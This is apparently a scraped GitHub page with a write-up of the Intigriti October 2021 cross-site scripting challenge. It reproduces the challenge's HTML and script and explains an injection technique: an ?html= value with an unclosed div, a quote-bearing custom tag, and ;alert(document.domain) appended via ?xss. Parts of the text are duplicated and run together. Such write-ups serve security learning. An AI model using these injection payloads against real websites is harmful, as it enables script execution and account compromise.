You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
<htmllang="en"><head><title>BOOOOOOO!</title><metahttp-equiv="Content-Security-Policy"
content="default-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-782f54dcdc1c6b97c986bf4772ae9b56'; style-src 'nonce-36cefb85686c240001ff8a5492ba001a'"
/></head><bodyid="body"><divclass="wrapper""><divclass=" bat-overlay"></div><scriptnonce="782f54dcdc1c6b97c986bf4772ae9b56">document.getElementById('lock').onclick=()=>{document.getElementById('lock').classList.toggle('unlocked');}</script><scriptnonce="782f54dcdc1c6b97c986bf4772ae9b56">window.addEventListener("DOMContentLoaded",function(){e=`)]}'`+newURL(location.href).searchParams.get("xss");c=document.getElementById("body").lastElementChild;if(c.id==="intigriti"){l=c.lastElementChild;i=l.innerHTML.trim();f=i.substr(i.length-4);e=f+e;}lets=document.createElement("script");s.type="text/javascript";s.appendChild(document.createTextNode(e));document.body.appendChild(s);});</script></div><!-- !!! --><divid="html" class="text"><h1class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div><!-- !!! --><divclass="a">'"</div></body><divid="container"><span>I</span><spanid="extra-flicker">N</span><span>T</span><span>I</span><divid="broken"><spanid="y">G</span></div><span>R</span><divid="broken"><spanid="y">I</span></div><span>T</span><span>I</span></div></html>
<!-- !!! --><divid="html" class="text"><h1class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div><!-- !!! --><divclass="a">'"</div>
For first part, we need to let e to be a valid JS code. In order to achieve that, we need c.id === "intigriti" be true so we can add string before )]}'
It's obviously the string we want to prepend to e should have ', so e become something like 'xxx)]}' which is just a JS string, and then we use xss to append ;alert(document.domain) to trigger XSS.
So, the question is, how do we control f and put a single quote in it?
First, document.getElementById("body").lastElementChild; should have id intigriti, but last element is <div id="container"> for now, what should we do?
We can use ?html to inject arbitrary HTML code to have a un-closed div, like this:
?html=</h1></div><divid="intigriti"><div>
part of response(I modified the format a little bit and add comment to make it more readable):
<!-- !!! --><divid="html" class="text"><!-- we clode h1 and id=html div via </h1></div> --><h1class="light"></h1></div><!-- we create a new div with id intigriti, which has no matching </div> --><divid="intigriti"><!-- we create another div to "consume" a </div> --><div></div><!-- !!! --><divclass="a">'"</div></body><divid="container"><span>I</span><spanid="extra-flicker">N</span><span>T</span><span>I</span><divid="broken"><spanid="y">G</span></div><span>R</span><divid="broken"><spanid="y">I</span></div><span>T</span><span>I</span></div>
DOM:
We successfully create a <div id="intigriti"> to wrap all the elements, make if (c.id === "intigriti") { to be true.
What's next? Let's take a look at the snippet below:
For now, c.lastElementChild is <div id="container">, so f is pan>.
Our mission is to control c.lastElementChild and let last 4 character of innerHTML to be 'xxx(x stands for any characters).
I stuck here for a while because my direction was wrong. I thought it's something related to mutation XSS, and we need to leverage some kind of browser quirk to change last element with "custom content".
After searching and studying mutation XSS for a while, I suddenly realized that the key is not content, is element itself.
For example, if last element is something like this:
<div><a'bc>
whatever
</a'bc></div>
Then innerHTML is:
<a'bc>
whatever
</a'bc>
Last 4 characters is 'bc>, exactly what we want! We don't need to insert an element after <div id=container> , we just create a custom tag with single quote and wrap it, that's all!
Challenge link: https://challenge-1021.intigriti.io/
Source code
Removed styles and bats svg, sorry bats!
Analysis
There are two important parts:
and
For first part, we need to let
e
to be a valid JS code. In order to achieve that, we needc.id === "intigriti"
be true so we can add string before)]}'
It's obviously the string we want to prepend to
e
should have'
, soe
become something like'xxx)]}'
which is just a JS string, and then we usexss
to append;alert(document.domain)
to trigger XSS.So, the question is, how do we control
f
and put a single quote in it?First,
document.getElementById("body").lastElementChild;
should have idintigriti
, but last element is<div id="container">
for now, what should we do?We can use
?html
to inject arbitrary HTML code to have a un-closed div, like this:part of response(I modified the format a little bit and add comment to make it more readable):
DOM:
We successfully create a
<div id="intigriti">
to wrap all the elements, makeif (c.id === "intigriti") {
to be true.What's next? Let's take a look at the snippet below:
For now,
c.lastElementChild
is<div id="container">
, sof
ispan>
.Our mission is to control
c.lastElementChild
and let last 4 character of innerHTML to be'xxx
(x
stands for any characters).I stuck here for a while because my direction was wrong. I thought it's something related to mutation XSS, and we need to leverage some kind of browser quirk to change last element with "custom content".
After searching and studying mutation XSS for a while, I suddenly realized that the key is not content, is
element
itself.For example, if last element is something like this:
Then innerHTML is:
Last 4 characters is
'bc>
, exactly what we want! We don't need to insert an element after<div id=container>
, we just create a custom tag with single quote and wrap it, that's all!So, here is the payload:
DOM:
The text was updated successfully, but these errors were encountered: